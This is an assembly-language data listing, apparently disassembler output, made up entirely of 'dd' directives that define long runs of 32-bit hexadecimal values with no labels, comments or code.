dd 19BF036h, 0AE43BEF2h, 30DD5EC7h, 6E00B57Ch, 0C2E267A0h
dd 725A23E9h, 424F0339h, 9DB48248h, 0D465DBD8h, 6EE43E03h
dd 904422B0h, 2C39934Bh, 5BCE95h, 31A0FA0Eh, 2A00D8E1h
dd 0DB11787Ch, 204E8Dh, 0F24A42F1h, 0A8E9EEEDh, 90001F79h
dd 6C109B9Ch, 749A018h, 13B83724h, 3D9F4055h, 0BBB8FA32h
dd 0B58E9A13h, 0B195C081h, 70A2C828h, 51D7C60h, 0DD330400h
dd 16878396h, 0E72B00BDh, 74525EDBh, 9F019AB9h, 5908AC70h
dd 7870BE23h, 0B4DA1231h, 9C6C1DEBh, 5C2E43FCh, 52B0DF3Ch
dd 570C5E61h, 40BA73C5h, 59990077h, 3C3854F5h, 0C274E684h
dd 0A8ED4E0Eh, 312442CBh, 2FA0E8F7h, 1CFF0537h, 0D3396674h
dd 71C81FC0h, 0D4BAA14Fh, 37C6B600h, 0BB38D8EAh, 0AD020354h
dd 0CEA965C0h, 0A6153CF9h, 93003039h, 46DC82FFh, 1F730CAEh
dd 366888CCh, 7E00DAEAh, 0B0B253EFh, 0FE6F751h, 0FA7DF8BDh
dd 608675E0h, 0D90EACF3h, 0C3901941h, 0A8BBDB4Ah, 30D6C7h
dd 7A6C6F96h, 8CE8EFE3h, 20B72226h, 0A8332700h, 3F58FD15h
dd 4B800C31h, 1424968Ah, 38983F18h, 49E1C100h, 94DDC02Ah
dd 0E87D003Ah, 20E2DCF0h, 5005346h, 375A2BF5h, 905FEEB9h
dd 9A7C22h, 920CFCE3h, 7490233h, 83C93Bh, 0A2B6B454h, 61A97168h
dd 4D31E037h, 1E4303Eh, 0CEB04400h, 7B58296Ah, 0DEB51769h
dd 340040E8h, 1C77D50Ah, 4767EC00h, 70980E7Eh, 1FCF846h
dd 38E229A7h, 0C282E366h, 81397C40h, 5265F503h, 0A184B725h
dd 460A48Fh, 7E1E00F2h, 2F4A88C9h, 6930DDACh, 0B979F0BAh
dd 0F930306Fh, 0AA1CE411h, 51F28600h, 0F12732D6h, 0A0FB5075h
dd 0A9E00BE6h, 0E8803ED5h, 56E7E443h, 899B6700h, 0F0BD49D1h
dd 685D0069h, 778D1098h, 81006CEAh, 3CCACDA8h, 11123ABh
dd 211647BCh, 80FDB703h, 0B245C458h, 0E76A1Ah, 8E704B7Ah
dd 0C50C67BEh, 0FCC0A360h, 9D646Bh, 0C14F5599h, 7570F96Dh
dd 19BB260Bh, 0A8380081h, 9D1D5ACh, 97B609F2h, 0FB1B3400h
dd 5200A0B9h
dd 398D3A5Ch, 7E05362Ah, 9D44009Eh, 3C1067D0h, 6503A5B8h
dd 22244666h, 12B08794h, 142A3E3h, 0C72ED4AEh, 0C9FE5979h
dd 9894437Bh, 14A3A6A0h, 0F40C5F00h, 76C49CCh, 76A8E80Fh
dd 21B012B5h, 64205D3h, 0CDD000FEh, 5749F185h, 8B049200h
dd 9E61F93Bh, 0CCF53FEBh, 51E16F9h, 0D0E800D7h, 71FB341Fh
dd 3E39D103h, 83B1780Ch, 5AC9D1C2h, 13BCA830h, 0C09D8F96h
dd 424925BCh, 0C5A91100h, 4EE2C0F9h, 30103CBDh, 28B6C30Eh
dd 0D9385E41h, 486BC01Eh, 0D30062FAh, 3D5B2F9h, 3899E52h
dd 0E316F583h, 2DA7FFB3h, 40F030B8h, 80A8654Dh, 0C7E14774h
dd 9AAE07B0h, 0A040A93Fh, 0C10AAF25h, 10941830h, 39B2EBF1h
dd 3F052610h, 0A0727EEDh, 966AB814h, 8F160058h, 0BD37D707h
dd 8C974042h, 16618F8h, 0E321CF9Fh, 7E3DEA42h, 1549F0h
dd 59943E03h, 0C6E98E38h, 53D9811Fh, 48BF6989h, 0A3E7B98h
dd 27CFA6B7h, 98F43999h, 9BC70164h, 0FD172198h, 0EA9ED8F2h
dd 1C209703h, 0F0B04867h, 27DF6Eh, 0C7096ABBh, 79D5100Eh
dd 4C8C38h, 0FF2E04CDh, 5407F56h, 53BBF63h, 87E00EC7h
dd 0E8A08989h, 34B6A190h, 26514248h, 5C008901h, 0B9F093C0h
dd 0C170F764h, 0FB580436h, 804B14B1h, 458B08A8h, 2D81F904h
dd 0BCD0D71Fh, 1698DF1h, 4035ACF4h, 5045E077h, 59965690h
dd 0FEEEAD18h, 547DBE10h, 4C4FA43Fh, 4D003125h, 0A681B7A2h
dd 0F63EEC65h, 803598E0h, 31E5010h, 0F4787FBDh, 0EFC07730h
dd 0F8B0573Dh, 7A459D07h, 804F811Fh, 3E9FD4C1h, 211A60CEh
dd 71E74FCFh, 0BB209C02h, 0F0EE8824h, 0A9CA1258h, 0E5DC40CBh
dd 914773F2h, 497EE907h, 0A0D98DB6h, 1429ACE8h, 1F5900F2h
dd 7C3CD11h, 15008447h, 27B6C9A1h, 0EA88AC89h, 2F7D40h
dd 8F4497BFh, 69EF2914h, 35109000h, 466B304Ah, 1EAB0096h
dd 6439F844h, 7400D18Bh, 5A835369h, 1E1B940h, 0C5B11CBAh
dd 0C9210A6Fh, 4EC44CACh, 0B5D5F400h, 0B0757B12h, 4CD3008Ah
dd 0FA6EB02h, 0BF715DC1h, 0B4046228h, 413E2375h, 31170075h
dd 4FE68B9Ch, 77350065h, 1B6884B5h, 0DD260AAEh, 40E38D6h
dd 724E203Ah, 5448F058h, 24EBE028h, 8060D8CBh, 0B7E3A48Dh
dd 0A9C040E6h, 0BD6C8CADh, 5CF9864h, 0BAA9A60Bh, 0F2DC804Bh
dd 0E3018ADBh, 0F5DD9516h, 0B86870F4h, 289ECB3Fh, 1185505Fh
dd 0BD2C237Bh, 0BCAA45E0h, 72D849D3h, 79AC7704h, 0A4C0BB2Bh
dd 116AE4Eh, 60B98ED6h, 6817CF45h, 34B100CCh, 0BDA4A86Dh
dd 2630455h, 0C086A041h, 0C005CC62h, 752E9719h, 0DC629B71h
dd 0DC00508Eh, 70248B34h, 0E50049F6h, 0E041FB0Dh, 5789C7Eh
dd 5EC839F3h, 0B5BCC0A2h, 0D0009ADh, 549940ECh, 135380BFh
dd 3F7E35h, 0A11A1265h, 0D9004259h, 0CBDD5269h, 37B0949h
dd 829D565Ah, 0F0FC1B29h, 5701AFA8h, 4CC31C58h, 0E865E159h
dd 624C0h, 4FE840C2h, 7394CCB8h, 7FE69801h, 1F97F2B7h
dd 0CBA3FCh, 0B00D1CFEh, 0C113D1B6h, 7D00E3E2h, 605E92Bh
dd 1889EFD5h, 788678FCh, 97E2F109h, 7A00ACEEh, 0F29C58D0h
dd 1D49FC6h, 0C5F87E94h, 20C7FF66h, 31FC54DEh, 47E67A02h
dd 60DC1A1Bh, 46A901BCh, 0A3D20B3Ch, 0ED1880C9h, 6DF715h
dd 0CBD92650h, 0D6C67A60h, 33200F04h, 2CA2581Bh, 437F0173h
dd 32B82B61h, 0CFC0303Ah, 81C7443Bh, 0BBFAF00Ah, 3C6029DFh
dd 1432C06Bh, 216F433Bh, 0FEB72325h, 7AC280Fh, 0B0E26CAh
dd 5BCDC045h, 0F0B5FC1h, 8E40AA54h, 60BFEE84h, 77440CD8h
dd 0E79D0025h, 0EEAB8155h, 3A01FC30h, 8C5A860Bh, 0C0E41246h
dd 859D3D69h, 56A4CA80h, 43D813F4h, 325E7524h, 209209h
dd 4E4652A0h, 0D0B703CDh, 211DAB6Ah, 0A0C4819Dh, 706424C1h
dd 2E009B4Ch, 0BC00F77Dh, 5B76E1E5h, 7F7812FEh, 699C008Dh
dd 96FFD7C6h, 4E05A0B0h, 90FE4DA4h, 0A985E400h, 583C72E3h
dd 421E6025h, 0EF5802Eh, 88F2622Ch, 1D001677h, 4BA1BEB9h
dd 4F0390DCh, 0E3C0003Ah, 6A29FEAEh, 0A765A13h, 0E4BA70C7h
dd 9CD5DD00h, 306473D4h, 21B1FDB9h, 0FE030D54h, 53BC9594h
dd 372E00DFh, 5F7A0F9h, 0A60390AEh, 11620E47h, 0C0598AB1h
dd 0BF5F69Ch, 0ED784FC4h, 86763C00h, 0D273B339h, 96424700h
dd 4B84AC1Ah, 64D000A5h, 5EC4CB99h, 190074C9h, 564DFE2Ah
dd 3F6C84h, 170B9B91h, 324C4A6h, 0DE8E7F01h, 0A5FBEAC5h
dd 2B676882h, 0D4780B41h, 610F5009h, 0FD6F809Dh, 77D8F072h
dd 0D71A0052h, 5C3F068Eh, 78005ED4h, 69088203h, 3EA163h
dd 912309Ch, 3C8FDC18h, 77D2E600h, 20DFB4A7h, 0F209832h
dd 34B24740h, 0BDA011C0h, 235D4E24h, 0D15B1218h, 0C599840h
dd 73076D5Ch, 583000F5h, 0A11967Ah, 0AF0075CDh, 843FA846h
dd 53309F0h, 75C7666h, 0BFEC00E2h, 836D9B7Ah, 0D91D1512h
dd 0CAB87805h, 0E001F6C2h, 70444182h, 0D09AA2h, 7B0CD233h
dd 65F2080Eh, 68001EEAh, 0C6D474AAh, 0CCC76A6h, 99D2B97h
dd 0D8093120h, 0C7F34Ch, 531DD3CCh, 0FEA328E2h, 5BB0D4h
dd 67B70197h, 0F2C14F88h, 3887D101h, 0A8CDF490h, 0D80ED440h
dd 0BFF626FCh, 3CEC0E78h, 7AF41D81h, 5550F86Eh, 4966D800h
dd 17E98BEEh, 56213CD3h, 1173BF80h, 0EA65A5B3h, 2A6F73Dh
dd 4EDEA8CBh, 311D611Ah, 3D3B1060h, 0C8305D34h, 10232611h
dd 709C4Ch, 0F1A07BB6h, 26EC7457h, 0BE4D5D0h, 4C07F519h
dd 0E54C5780h, 0D4648076h, 5CB68182h, 31BAEA01h, 28F8E2C1h
dd 85440198h, 71B61AA0h, 16C681Bh, 594A069Fh, 68D2CB7Ah
dd 5B415170h, 0D250014Bh, 2C014091h, 25560F58h, 0EE41C997h
dd 276100C0h, 0C2248EB1h, 0EC008813h, 94C0EA5Fh, 0B18F775h
dd 124BAC2Ch, 0F938BA00h, 8100F37Fh, 34943D48h, 4C6DE335h
dd 4E0FF2B2h, 6F476379h, 61A7201Fh, 903C21Dh, 2AE153F7h
dd 5B47A85Eh, 15FA0704h, 8022746Ah, 5AF47D3Eh, 0CF9DA550h
dd 0E3B13Dh, 8097E61Ah, 9065DA6Ah, 26C20059h, 71B2E22Eh
dd 52E0FAB3h, 0A225D700h, 0E7B5458Ah, 0F0110190h, 9E9C63C0h
dd 0E35080FFh, 0B3FB4AF1h, 0BDA30032h, 534467DDh, 0C9704D03h
dd 6D24C800h, 2C0DA73Dh, 0D3D603F7h, 0DA87A196h, 65CEDBD8h
dd 6B02A51Eh, 415B4800h, 0C714F6D8h, 70047210h, 3F170957h
dd 0F00C3E6h, 8CA33D49h, 0B0EE1Eh, 1ACB763Ch, 0CDD8EDB5h
dd 35BA1F00h, 0C4B78FD4h, 8C2C0075h, 6DD53732h, 0CD07301Ah
dd 0D7A17763h, 44DB3C00h, 93298A6h, 663D089Bh, 4D64B680h
dd 32008B7Fh, 0FE573968h, 0F1385CFh, 0B6F40B8Ch, 9EF0DCC2h
dd 1B7CF260h, 0CC3CD000h, 60CA92F8h, 0E5E4503Eh, 5D1EC4Eh
dd 0D2380B8Dh, 0B5EC0F22h, 0F788EAC0h, 0C2792E95h, 17FA4200h
dd 0B19125FEh, 0ECC0014h, 0D25D39E0h, 0E100B52Ch, 5AF2F00Ch
dd 7D585DDh, 13356AFCh, 696B0AAh, 0E078FA92h, 6D0A9C0Fh
dd 639AA1FEh, 2FF8C536h, 0F0290031h, 248D9FA6h, 45004732h
dd 0F953BAECh, 0CDBE17h, 95CC0BABh, 0D0EA05DEh, 9C5C6800h
dd 0DF87D659h, 0F8FEE6h, 6F63DD22h, 0D781D345h, 6BA3AA03h
dd 0A0B9EC11h, 1EB3FC24h, 46AB7484h, 0B0FB0438h, 0DD453Dh
dd 0CB813C3h, 35A173h, 0E3E06E48h, 0A360A022h, 0FC15E100h
dd 561B09D3h, 18B00B5Dh, 4B0F2FD6h, 6E6C5Dh, 4CB324F9h
dd 670A548Eh, 962749FAh, 0B7B56100h, 0B8F61B66h, 2B0E0053h
dd 2128483Ah, 5A00BBFBh
dd 95602ECFh, 174F005h, 14424F6h, 4020D3DEh, 7DC4B59Eh
dd 6D88AD01h, 0FFE5DBCBh, 96801187h, 8B1320EBh, 37008E44h
dd 92587E4Ah, 0B97DBCh, 0BBFC0315h, 0E0365AF1h, 6B64D0C0h
dd 0B11E542h, 0F498B743h, 831B9900h, 33002202h, 152071D0h
dd 78C54990h, 848804CEh, 80E5F3CFh, 71B397C2h, 0FA1FB475h
dd 884089D1h, 4893B2C5h, 7F70FD6h, 0C05E0A6Ch, 0A59CE932h
dd 0C00B6AABh, 772AF5h, 50F2F3C3h, 0DF2B0006h, 1E2EC4CFh
dd 5926C3E9h, 5B00C3BDh, 0CB3AD9BEh, 0AADE0020h, 0AB58BA1h
dd 0E800F8C7h, 33E3B8E0h, 8CC42Ah, 0F6BA4E74h, 0BE45FD9h
dd 443B5170h, 0DE528095h, 94FD9B8Bh, 9264009Dh, 0FC338493h
dd 7E30D5D9h, 61738835h, 0CF7F16h, 563AF40Fh, 75CE4DB5h
dd 6AAA000h, 79E46AA8h, 7172FEh, 0AB66E6Dh, 2BF4C9B7h
dd 804EEA18h, 0C83C99h, 0AAEDA595h, 97AF6462h, 5DB58D00h
dd 0C7591D7Ch, 7A86004Fh, 29C0DF03h, 0A100586Eh, 0D7795CE3h
dd 0FF33653h, 7DB1441Ah, 76BC4BE0h, 84A8F4E1h, 0D5043211h
dd 24015B37h, 95464DC0h, 737E009Ch, 8719D633h, 37617CC1h
dd 364790E0h, 9D90ED03h, 131F9A03h, 3F01AC12h, 0D231A359h
dd 6C26FCh, 9C5016B0h, 0D3F1EB83h, 0C3753B00h, 0AE8B479Ah
dd 0DEF00DCh, 19165BD4h, 35066DE1h, 0B1A761E8h, 8CB01318h
dd 24FE039Eh, 808CD3ABh, 4A7812A0h, 75DA012Ch, 20CED90Eh
dd 0D38EF963h, 40D0C039h, 0A9420A75h, 0A4174D03h, 0A8047E8Fh
dd 27FB7Dh, 3C0D799Fh, 0B3F3BEA5h, 430F8701h, 98A32285h
dd 6D8C20h, 44EA9F8Ch, 0F18330B8h, 32005172h, 982BE3FFh
dd 382ABE2Eh, 368011BFh, 17DE5DCAh, 0F90070CBh, 7BE3AA38h
dd 0EE074F75h, 380F60E7h, 0DACB28FDh, 0E9779D05h, 940276DFh
dd 44BBE1A8h, 0D4F3004Ch, 892C9856h, 0E5014C47h, 0FB60B7A6h
dd 8E471EEh, 91720511h, 80863A51h, 0BBFAB8AEh, 7E64E80Eh
dd 8F026113h, 9FF98109h, 7C4A60FAh, 25270163h, 7B2EC6A9h
dd 9D6DECCCh, 761F81ECh, 43403526h, 0A49ED874h, 0E52800D1h
dd 0E4CA0E3Eh, 8E002B2Eh, 8052B28Fh, 2DF5E73h, 9B8C1430h
dd 0E0685663h, 0E609998Ah, 0A0D8CFB7h, 98F5A8CCh, 635A0FB0h
dd 0FEA0E29Bh, 384FB265h, 0C08AA000h, 4D4288FDh, 99900070h
dd 0BC4081CFh, 0CE0E1AE3h, 21203D95h, 0C91C93E9h, 0BB6F0h
dd 0BA8E3679h, 80038844h, 0E89F4700h, 498184Fh, 877D0045h
dd 5F71B9EEh, 0BA00FE82h, 16C3C7C8h, 7CD4E361h, 492C0057h
dd 4290BC03h, 0D7001CAEh, 316B6FBDh, 556766h, 0BC618607h
dd 0EA2CA3D9h, 0C3CC9707h, 839035A9h, 0E0CEFBFh, 57FE6486h
dd 0CD2441A0h, 0C107D6EEh, 0D5B7CFA5h, 0BB2D7F40h, 160538B8h
dd 0DCC30D00h, 53FDDE36h, 469B010Fh, 90AF0093h, 280635h
dd 333D03B2h, 4CF6F298h, 155E9200h, 485A905Ch, 0C470081h
dd 0C651DF7Fh, 6200CE99h, 0E33429BDh, 0D11BEEh, 6943686Dh
dd 0EF02C0FAh, 0FF076A78h, 7E863555h, 56C379E0h, 0B6670072h
dd 6D62B5Eh, 238A6CFh, 0C6DB1315h, 0A4955300h, 4286D3h
dd 4C496679h, 99276B7Bh, 8DCA5F01h, 3DC96D4Ah, 12290DCh
dd 0FA062FA9h, 0C01FAAAFh, 0B900681Eh, 0F03A92C5h, 6911CAh
dd 40B77FD5h, 3955A0BAh, 2D379800h, 314D3B7Eh, 0F4F70034h
dd 51810E80h, 1600D940h, 38655A17h, 76833Ah, 246A556h
dd 1FB913CCh, 779CFA48h, 0ABE6ED1Dh, 8E93CAC0h, 2CBFEE3Ch
dd 0E32FC0h, 0DDE2ACD0h, 7B006694h, 0E52BAD47h, 68FB83h
dd 798A48BBh, 7706D264h, 351EF97Ch, 0BE008427h, 0E0314785h
dd 7D7B009Dh, 1A6FA662h, 0A5004D51h, 0B0E11D73h, 84EF1Eh
dd 0FB1591BEh, 7AAE923Ah, 0C3EE900h, 0D1B9FA6Fh, 0A0BDB0B5h
dd 0F4574C14h, 0E8FC3F4Bh, 0C25D5C01h, 0E87482D5h, 0B60156AFh
dd 0E1AE4EC6h, 75D869A5h, 0F6960363h, 7EA2E097h, 0D56E05E0h
dd 0C70B95F0h, 0DBF178h, 2FAF256Bh, 849C012Ah, 3911DD9Eh
dd 0B943FC92h, 47F6FC0Eh, 9104C0EAh, 482B8B1Eh, 0FE07377Ah
dd 0F00DED7Bh, 2C408C24h, 0B4EF4A05h, 0A016FC96h, 2B9C6407h
dd 0E942A30h, 3A7C1469h, 0E91C8CBDh, 29CD01B8h, 0E0EFA2FDh
dd 7A009238h, 0B10D49EDh, 0B0AD2Fh, 0B652CF6Fh, 93F42D06h
dd 0E43420C7h, 0A4D1E8B0h, 0DBEF0C49h, 8E70FD3Ah, 5B546E00h
dd 34DFBD88h, 9D4203F4h, 27DC6FE2h, 1CC21AC0h, 469AF80Bh
dd 0FAE30069h, 3D82CCh, 198E971Bh, 79626E5Ch, 9D90D4EEh
dd 0CD618B00h, 0D8A83DDFh, 4BED0DC4h, 0C088B977h, 0A003A2Ch
dd 8653857Ch, 1D7F6713h, 83D1320Bh, 45F1B4E3h, 0C893E800h
dd 6D8707FEh, 90A800D8h, 18D3A6ACh, 20009440h, 5A69BFAEh
dd 4735B12h, 3932C513h, 0C18880A4h, 0E2003A09h, 7C67AD1Eh
dd 798794A6h, 523B1EBAh, 1D279F0Eh, 530FC092h, 0EB9EF03Fh
dd 0D8E1D400h, 0B4094758h, 85F0CCh, 0AB37528Ch, 38E0250Ch
dd 16F2B16h, 0C2C0BF1Eh, 7147B47Ah, 0A0390018h, 8099B6B7h
dd 0F87CFF8Fh, 0E4860D07h, 7CA05A4Ah, 3CB2C04h, 82859BC3h
dd 80ACE735h, 39A9E2DCh, 43DAB0Ch, 0E111B8h, 0EB7FCAD2h
dd 0FD5742Eh, 0A28C7300h, 5F3FF670h, 86A80078h, 7C47601Fh
dd 0DB266903h, 0D903907Dh, 0D87F4E0Ah, 0DFAAC7h, 4AF823ADh
dd 61A8B78Ah, 420111FCh, 0BB40CC2h, 10808355h, 0D3BEAFADh
dd 5601410Ah, 0AED8D170h, 60D00C87h, 8D2C004Bh, 0AD8F2BC9h
dd 747B48A6h, 10311900h, 1208B82Ah, 49A70085h, 0C3CEAABFh
dd 0D00E6EFh, 3138F422h, 0E627FABEh, 958E1356h, 46CD001Bh
dd 120150DFh, 0DCFDC878h, 4300F5Ah, 9F0CD01Fh, 0FB4E0092h
dd 0A5C5E433h, 5900A7B4h, 80F35B02h, 9F4CDBh, 0F4548831h
dd 8BBE43A4h, 7978F4EBh, 0D429670Ch, 1DAC1AECh, 128DD519h
dd 8B97030Ah, 5A521D0h, 0A93E6E0h, 0DC81DEh, 70A408E8h
dd 0FD0079F0h, 0B0E795F4h, 0EAC5Eh, 9ACB4D8Ch, 0EC1DCF11h
dd 1BD12601h, 0F95FA7BEh, 5147F120h, 1180B150h, 0BB63ABFBh
dd 0ED1E21FEh, 0E400988Ah, 2D6E6A1h, 0C0751E82h, 9E0FBF60h
dd 0B121DBB3h, 0ECA7DA6Dh, 0DFFE7BCEh, 0C8EC800h, 0AE72A2Bh
dd 545B0068h, 7A95FEC5h, 0DC016483h, 4D6D41E4h, 8A205528h
dd 66728EDh, 6E8B00A0h, 7364AAD2h, 0F6F6F520h, 7842A300h
dd 0FFC92C74h, 7287290h, 0C0B3156Dh, 663EE105h, 7119899h
dd 0FE386C21h, 0E1AD1DB8h, 7D6983AEh, 47C9EDE8h, 63C2048h
dd 8576CFF2h, 4AB6B401h, 0D146F6A5h, 1DE2E451h, 0C4C71440h
dd 5AB0184h, 0D757851Ch, 3018BC60h, 73831014h, 3F2307Fh
dd 13889A20h, 3727C80h, 0FAEEC5A1h, 4193E15Ah, 81BA479Fh
dd 0CC260479h, 0EF405162h, 19E431h, 999E709Fh, 148A862Bh
dd 0B098303Fh, 0C9EE30EAh, 27E1008Eh, 0D701A17Ch, 0D2716BF2h
dd 57596D00h, 0D57F8BADh, 18DA1379h, 0FCA30021h, 9EF5F7CFh
dd 36CE8600h, 17522628h, 0C4F0FBh, 1A920AB4h, 7C704633h
dd 1F12C100h, 4D323E9Dh, 0C65E0086h, 0B685749Ah, 0D87C7818h
dd 0B482DA03h, 90539593h, 87799Fh, 7E6657D0h, 9885337Dh
dd 0A746FD00h, 0CB4BB421h, 2391DAAh, 417D002Ch, 10BE799Dh
dd 80ADC400h, 6E87E319h, 907506h, 4370DA27h, 0F05CEE16h
dd 545E8107h, 1C02697h, 0A79CE19h, 0A883137Fh, 743C0110h
dd 431DDD2Ah, 138879B4h, 20C1EDCBh, 8D940FC9h, 0C2325806h
dd 0E16F1993h, 18842BCBh
dd 7AB23Bh, 6B9D7558h, 10E06016h, 0CAE2356Dh, 7472B5E0h
dd 83C35A24h, 1BF58E00h, 0A059D4h, 0F9E52110h, 0EEBB43CEh
dd 7602E31Ch, 35245C0h, 351342h, 7C6A3647h, 0EB6D753Ch
dd 0C444F900h, 23053370h, 74EC00DEh, 0E65B668Eh, 1460DCA5h
dd 7A8AB2D8h, 8FFAB1h, 0BD6BF7ACh, 77368D69h, 1014DE0Fh
dd 0FBC50074h, 0EE20AE16h, 0BF8B3987h, 655EE0Eh, 90DE85A7h
dd 0C5846D60h, 0AF27DB18h, 88B67B28h, 0C7889893h, 2D9888Dh
dd 146F51CAh, 0A44CCC08h, 6B2931E8h, 2351903Eh, 4CB5F484h
dd 1C229EFh, 10A43804h, 0C43C6101h, 0C6007462h, 0FEB54296h
dd 3C76849Eh, 5D80901Bh, 0EEA96B58h, 6D38A375h, 913FF0AFh
dd 534E1EEBh, 0ABD1E3C7h, 98A7B031h, 6EB3CCh, 78FB02CFh
dd 0A50C5340h, 5FF0A000h, 69D4D1C2h, 518D3DECh, 9B1E2400h
dd 5EA8A66h, 0AEB70300h, 0E927BA8Eh, 2AACA898h, 0F7620732h
dd 36F8A8Bh, 0CEC04A13h, 6C007045h, 3A7874CDh, 0E0DD79BAh
dd 0F7990FB4h, 407AD093h, 63A1B240h, 24447700h, 9B5947C8h
dd 46CB004Ch, 0A2E58E0Ah, 2900DB26h, 3BE6C7CFh, 0FCEDC9h
dd 0CC9E9CD3h, 0DBF59419h, 0AF8C791Dh, 0D4F1ADC0h, 0AA4270h
dd 683DDAB7h, 7B4E5FFAh, 0E040C400h, 915C5033h, 0B0EC009Dh
dd 4B802BEAh, 0E698B7C9h, 3700D8F4h, 0B21EBE20h, 3E3F15Ch
dd 53B96B22h, 60C07DE1h, 8E1D1A46h, 0A99D08EBh, 8D80F2C0h
dd 7EF414Fh, 5999BB06h, 0B70E7201h, 8261E460h, 0E0C6E425h
dd 37365h, 4C56EEE0h, 0CAC8E58Fh, 4750EF00h, 884EB66Dh
dd 36480046h, 0C02F9697h, 250045B0h, 7D8CB230h, 1CB48F23h
dd 93B87FD1h, 0D5630F1Fh, 4BF0E180h, 950057CCh, 0FD0A7B65h
dd 23C34Ah, 0D5756397h, 7EB64BC5h, 0EA3B5700h, 0EE3AE42Ah
dd 9EE20280h, 797166C2h, 0D3F731E0h, 0A9B93700h, 8E6AF616h
dd 0B75100BBh, 0C9261CD5h, 0B57203CEh, 0CDA62500h, 2752B8DBh
dd 19E8001Dh, 5D493577h, 0FE03122h, 0DE997D00h, 5F1D6241h
dd 42C00F6Fh, 8A0BD81h, 0D374DDA8h, 25ADBCA0h, 54F8AF03h
dd 0FD895F0h, 0E072C419h, 0F2002C0Bh, 0B654B8A8h, 9A118B60h
dd 38C8E26h, 0D73B2DF4h, 180F02E0h, 0A627EF4Ah, 10486Eh
dd 0D25FBF85h, 0D6081D25h, 0AC007FE0h, 0ABB6E298h, 36D028h
dd 15E1DF8Fh, 84086EB0h, 0B7236801h, 0F95B3DDDh, 691F4980h
dd 0EA9E3A11h, 51001879h, 39E2EBE0h, 254650h, 6C7C4BA1h
dd 22041CB3h, 0F3E7C500h, 54BBE53Ah, 9BBC003Dh, 2171194Eh
dd 37001C69h, 6862F841h, 39C19Ch, 0A308E72Eh, 35933E97h
dd 85B75C3Bh, 37577C20h, 17740880h, 0A827007Eh, 0D0E00C77h
dd 121C8998h, 0AD80F2D6h, 6F683FDAh, 0BC620786h, 0D09CD1ACh
dd 8ED8CD71h, 0C28B1907h, 3D105127h, 900526D7h, 4B7E1D8Ch
dd 0AEA2010Bh, 0D4916874h, 77007CC3h, 79346E02h, 4158BCh
dd 0EA0C7024h, 2CCE2EABh, 18E4D01h, 6051C5AAh, 9748D8D7h
dd 0D89400E3h, 84B3658h, 5A03CA40h, 4D50AB29h, 30F3F842h
dd 75BC005Eh, 647C7E5Fh, 3E4A1196h, 4FB0F487h, 316FBAh
dd 95DB18CCh, 492BEE78h, 5A93C00h, 0D3913F48h, 0DF9E005Fh
dd 0C3156199h, 9A00F4A1h, 0D2CB6F3Ch, 0A65038h, 89EC605h
dd 0BE7E46A5h, 3B9AB207h, 0FD500314h, 0C0B513B7h, 16A25968h
dd 2182EE6h, 65B8661Dh, 996C1D71h, 481C00E8h, 76D4498h
dd 2C43B50Eh, 78C73CE5h, 0F3D03EBCh, 6E599D0Ch, 1F60D0CCh
dd 6A729F8h, 0D882AD0Eh, 23E62065h, 0E55F58A0h, 3DC1BDFCh
dd 0E9000CE3h, 3E86267Eh, 83002780h, 5C36373Bh, 128DC2Dh
dd 0EE4DAB44h, 8090A2BDh, 26CE5898h, 5D9C03h, 0EF07235Bh
dd 18779A3Ch, 0DA7F147Fh, 0C4B1C107h, 5270E3AFh, 80A71Fh
dd 944996B2h, 0F3AD89D3h, 8A252F00h, 298140Bh, 1F62009Eh
dd 0C226A795h, 9F006115h, 0E635B347h, 0FF2B10Bh, 3CBDE82Eh
dd 907C50E0h, 0C700BAAEh, 6BBEF3CEh, 1A83F3Ah, 2018E9F5h
dd 30476821h, 4FE47760h, 11A03Dh, 0EF2D177Eh, 0EC63831Dh
dd 1B5E0171h, 0B92648DEh, 0D301F0F1h, 0F0EC6A17h, 2A839D1Fh
dd 98E369DCh, 995837Eh, 84D7A5F5h, 4ADB6083h, 15A7E588h
dd 2DC0F312h, 2C7D000h, 24B583h, 6F4A4121h, 0D042DD6Dh
dd 0CEC53700h, 4E7727A2h, 9A07897h, 0D64B28E8h, 0D893F380h
dd 23794211h, 973F8500h, 0A9351D0Eh, 0FE41Bh, 0E6A340BFh
dd 77B5F708h, 8F48D1E4h, 0A1C800A4h, 185C92EDh, 4CB2036Eh
dd 2E08FAA9h, 0A777A800h, 2268070Bh, 7867E35h, 8575FC80h
dd 0CB329039h, 0EF907F03h, 7E33670Eh, 4600BEBBh, 8EE14851h
dd 0D7A224DFh, 9C905EAh, 0ADD6C06Bh, 200096FBh, 751505Dh
dd 28725Eh, 0CA66F27Ch, 0B20ED842h, 3AC6F407h, 3E209ADFh
dd 3FE9DEh, 0C2EBCADh, 0AE2AA1CCh, 7538AB00h, 648A9913h
dd 0D5200019h, 0E36A0A65h, 0EA4C6F5Ah, 0AE8E269Eh, 89511100h
dd 23401CFh, 17A01F41h, 0ABC0A221h, 83079DE5h, 1632F6Ah
dd 0EBA9D6A0h, 8613008Ah, 3E35B9E1h, 6207C40Bh, 397CC0D8h
dd 29768FB0h, 0C315981h, 0C7434D1Dh, 90D2D4CDh, 2B7FB27Dh
dd 6B10700h, 0AA27E5Ah, 4D9C00E8h, 1050A1E1h, 6BF071F4h
dd 4C0014B0h, 442D2248h, 21F8F9h, 0A3D51EFAh, 6CB057CBh
dd 0C505E00h, 6546310Dh, 10AE00F0h, 0A6A0701Eh, 63F2B916h
dd 84CD8702h, 60A548CFh, 74F80Ch, 78C4EBB6h, 30264015h
dd 620025F8h, 7B5B07E1h, 0B02C6C31h, 994C39DCh, 2A13A000h
dd 346A7F3Fh, 3CA53201h, 9C74D9D8h, 0D3F8B421h, 3F9DA03Eh
dd 5984B2B2h, 0E5076066h, 0A05B1622h, 0A607EFEDh, 8B00E477h
dd 830AD749h, 0B27A70D6h, 68F8007Ch, 3307BDF6h, 0FC7DD06Dh
dd 41003677h, 6112FAAh, 24945AF4h, 0C47F1Ah, 93B58F5Ch
dd 40DC1860h, 9AFFA580h, 0C331DF56h, 0CFD24120h, 0A6F001E8h
dd 0A5B59E00h, 0DEFAF1C2h, 31F283h, 0FE24CC99h, 6F4D49Ah
dd 2504B20Ch, 0E2CB505Ch, 0B7830099h, 5325734h, 0A0024B1Dh
dd 9C8E14ABh, 72280086h, 491CA208h, 0AD80E34Ah, 2ED0C64Fh
dd 0D22300C8h, 0F60317B5h, 0A91CEC40h, 13CB00Dh, 3481B8DFh
dd 48C0C343h, 8E6C0057h, 8DCA1CDh, 722E9BEDh, 3E01EC83h
dd 0D7B9B405h, 2CB37180h, 577D27F8h, 497DD00h, 0F97F3D80h
